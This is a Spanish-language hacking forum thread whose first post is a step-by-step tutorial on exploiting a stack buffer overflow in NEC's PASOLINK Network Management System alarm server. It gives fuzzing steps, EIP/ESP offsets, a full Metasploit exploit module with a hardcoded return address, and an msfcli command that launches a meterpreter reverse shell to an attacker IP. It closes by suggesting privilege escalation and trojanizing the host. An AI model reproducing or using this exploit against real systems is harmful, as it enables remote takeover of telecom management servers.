![]() |
|
|
#1 | |||||||||||||||||
|
Miembro
![]() Fecha de Ingreso: mayo-2010
Amigos 0
Mensajes: 105
Gracias: 8
Agradecido 25 veces en 21 mensajes.
|
Introducción
En el presente articulo se detalla y explica la manera en la cual se realiza un exploit con un programa real propietario, el programa objetivo de este análisis es un gestor de plataformas de telecomunicaciones para este caso hablamos del PASOLINK Network Management System (PNMS) de NEC, el cual es un sistema de gestión de equipos de radio, la versión de los clientes y la disponibilidad de los mismos será omitida por obvias razones. Como todo administrador de gestión de radio posee 2 capas a nivel de producción, el primero el mas tangible al usuario que es precisamente el sistema de gestión y todo lo que este engloba, la segunda es un servidor a nivel de tcp el cual la mayor parte de las veces sirve como socket de entrega de alarmas por un puerto determinado. Este es un protocolo muy común en varias plataformas de gestión de telecomunicaciones, para muestras basta analizar los sistemas de gestión tales como los desarrollados por CastleRock (SNMPcOnLine en todas sus variantes
Cuando hablamos de aprovechar fallos de seguridad en una intranet se comete el error de buscar vulnerabilidades en entornos ya muy controlados, los IDS’s o IPS’s en sus diferente versiones, ya sean appliance o a nivel de software, dificultan de una manera increíble el trabajo de explotación, sin embargo hay que aprender que la búsqueda no comienza por lo ya de por si trillado, si no por aquello que intuitivamente sería o debería ser mas difícil de vulnerar: en este caso y como en la mayor parte de los artículos que he dado a conocer, la capa mas vulnerable es aquella que es difícil supuestamente de corromper: los sistemas de gestión. Herramientas y Objetivos Bien, el objetivo del presente artículo, no es detallar una intrusión haciendo uso de exploits que quedan fuera de nuestro entendimiento, el objetivo es explicar, el análisis inicial y final durante el desarrollo de un exploit haciendo uso de API’s que nos faciliten su desarrollo y analisis. Para ello utilizaremos las siguientes herramientas:
Con esto el servidor se encuentra en escucha, tal cual lo hace el PNMS real, el funcionamiento original de este programa es entregar alarmas mediante el puerto que se especifica luego del nombre, se implementa un protocolo propietario, en el cual se envían señales sync y ack de manera secuencial, el servidor responde y comienza el intercambio de alarmas. El cliente se conectaría de manera sencilla de la siguiente manera.
Probando Vulnerabilidades Evidentemente no tenemos conexión al sistema de gestión por ello no se reciben alertas, eso es lo que menos importa, vamos a probar el típico buffer overflow enviando una cadena enorme de caracteres:
Con esto enviamos 1024 veces el caracter “b” al socket, se sabe que existe un desbordamiento de pila pues el socket aun cuando se encuentra arriba ya no responde ninguna instrucción como antes lo hacia, cuando terminamos la conexión enviando un Control + C, observamos lo que ocurre en nuestro servidor PNMS:
Armando el Exploit En efecto, existe un desbordamiento de pila, el cual sobreescribe e 62 el equivalente en Hexadecimal a “b”. El punto sensible ahora es conocer en donde se encuentra desbordando la pila para realizar el exploit que aproveche esta vulnerabilidad la cual evidentemente es muy inocentemente un descuido en el tamaño del buffer. El típico y muy conocido error es el decuido del buffer de lectura. Para conocer un poco mas acerca del desbordamiento de pila, he aquí el paper oficial publicado por Aleph One: (Smashing The Stack For Fun And Profit).
Necesitamos entonces conocer el significado reducido y solo por recordar, de los registros mas importantes, los cuales juegan un papel muy importante durante la generación del exploit:
Observemos el stack para saber a partir de que dirección con exactitud se encuentra el desbordamiento del buffer:
Como se puede observar el EIP quedo sobreescrito por 62 y a partir de la dirección 0022FB60 tal cual se puede observar en la imagen, lo que ahora sigue es conocer el tamaño de nuestra cadena a inyectar en el buffer, para reservar espacio y conocer nuestra dirección de salto o retorno hacia el shellcode resultante. Para esto haremos uso del MetaSploit y de las siguientes 3 herramientas:
Veamos con WinDBG la dirección del EIP:
Debemos calcular el desplazamiento pues necesitamos saber en que momento reescribiremos el EIP, para ello usaremos pattern_offset haciendo uso de la info arrojada por WinDBG:
Por lo tanto observamos que a partir del carácter 524 se inicia la escritura del registro EIP ahora analicemos el contenido del registro ESP.
La dirección del ESP es: 0022fd70 el contiene: Ar6Ar, pasemos ese valor pattern_offset:
Podemos notar que a partir del carácter 528 se inicia la escritura del registro ESP, que es donde precisamente debe estar nuestro Payload. Entonces nuestro buffer debe ser: [NOPs][shellcode][return address] total: 524 bytes. Para ejemplificar lo que hará el Metasploit en la generación de la cadena resultante correspondiente al shellcode que se introducirá en el buffer destinado para ello usaremos la interfaz web y seleccionaremos Windows Command Shell, Reverse TCP Inline, esto para asegurar el acceso en caso de que el equipo vulnerado tenga el firewall activado:
Resumiendo: debemos indicarle al EIP que ejecute el Payload que se encuentra en ESP, para ello EIP debe contener la dirección de memoria a donde se encuentra el Payload y que a su vez apunte a una instrucción JMP ESP, normalmente deberíamos realizar nuestra propia optimización de código sin embargo para ello en esta ocasión utilizaremos la base de datos de opcodes de Metasploit. Así que llenamos los datos que se piden y damos clic en generar. De esta manera obtenemos la siguiente cadena a inyectar: Código:
/* * windows/shell_reverse_tcp - 504 bytes *
Código:
require 'msf/core'
# clase Principal
class Metasploit3 < Msf::Exploit::Remote include Msf::Exploit::Remote::Tcp # informacion de todo el exploit def initialize(info = {}) super(update_info(info, 'Name' => 'exploit PNMS',
'Description' => 'exploit PNMS',
'Author' => 'cggj',
'Version' => '1.0',
'Payload' =>
{
'Space' => 504, # espacio que usa el payload.
'StackAdjustment' => -3500,#modifica el stack pointer de donde inicia el shellcode
'BadChars' => "\x00\x20\x0D\x0A", #caracteres que no debe poseer el shellcode
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows XP',
{
'Platform' =>'win',
'Ret' => 0x0022fb64 # direccion de retorno 0022fb60
}
],
],
'DefaultTarget' => 0))
end
end
def check
connect
buf = "version\n"
sock.put(buf)
res = sock.get
disconnect
if res =~ /bof-server v0.01/
return Exploit::CheckCode::Vulnerable
end
return Exploit::CheckCode::Safe
end
def exploit
connect
buf = payload.encoded # Invocamos el Payload definido en el apartado Payload.
buf << make_nops(20) # Definimos 504 bytes para el tamaño del Payload faltando 20 bytes para NOPS
buf << [target.ret].pack('V') # Direccion de retorno para sobreescribir el EIP
sock.put(buf) # Envio de datos
sock.get
handler # Transfiere la conexion al handler del Payload
disconnect #Termina la conexion
end
end
Código:
[target.ret].pack('V')
Veamos su ejecución en consola (MSFCLI) para verificar que todos los datos introducidos son correctos: (El comando a ejecutar será: Código:
msfcli windows/misc/PNMS PAYLOAD=windows/meterpreter/reverse_tcp RPORT=3500 RHOST=192.168.1.77 LHOST=192.168.1.103 E
Como se puede observar, el exploit funciona de manera adecuada levantando una sesión remota en el servidor que aloja el PNMS, con privilegios del ejecutor de dicho programa. Ya con una Shell solo queda elevar privilegios si es que es necesario y troyanizar según se necesite. Fuente:
Última edición por Charlie001; 02-abr-2011 a las 18:23 |
|||||||||||||||||
|
|
|
| El Siguiente Usuario Agradeció a Charlie001 Por Este Mensaje: | galsas (03-jul-2011) |
|
|
#2 |
|
Yes! I am invincible!
![]() Fecha de Ingreso: febrero-2009
Ubicación: Infierno
Amigos 32
Mensajes: 2.398
Gracias: 0
Agradecido 153 veces en 109 mensajes.
|
Esta bueno el aporte , eso si , usa bbcode para los codigos
|
|
|
|
|
|
#3 |
|
Miembro
![]() Fecha de Ingreso: mayo-2010
Amigos 0
Mensajes: 105
Gracias: 8
Agradecido 25 veces en 21 mensajes.
|
listo...
ahora si quedo todo mas organizado xD |
|
|
|
![]() |
| Herramientas | |
| Desplegado | |
|
|

Temas Similares
|
||||
| Tema | Autor | Foro | Respuestas | Último mensaje |
| El sendero del hacker | arcangel_night | Hack para newbies | 34 | 26-dic-2012 16:41 |
| Cómo convertirse en hacker | Besti4 | HacK GeneraL | 2 | 04-abr-2011 00:51 |
| Adobe Creative Suite Production Premium CS5 [Full-DVD9+Keygen][Español | milaras21 | Software | 1 | 24-oct-2010 09:50 |
| CAJA DE HERRAMIENTAS | zolo | Hardware | 22 | 31-may-2010 02:37 |
| Metasploit Tutorial by Socket_0x03 | Socket_0x03 | Bug y Exploits | 40 | 27-feb-2010 06:17 |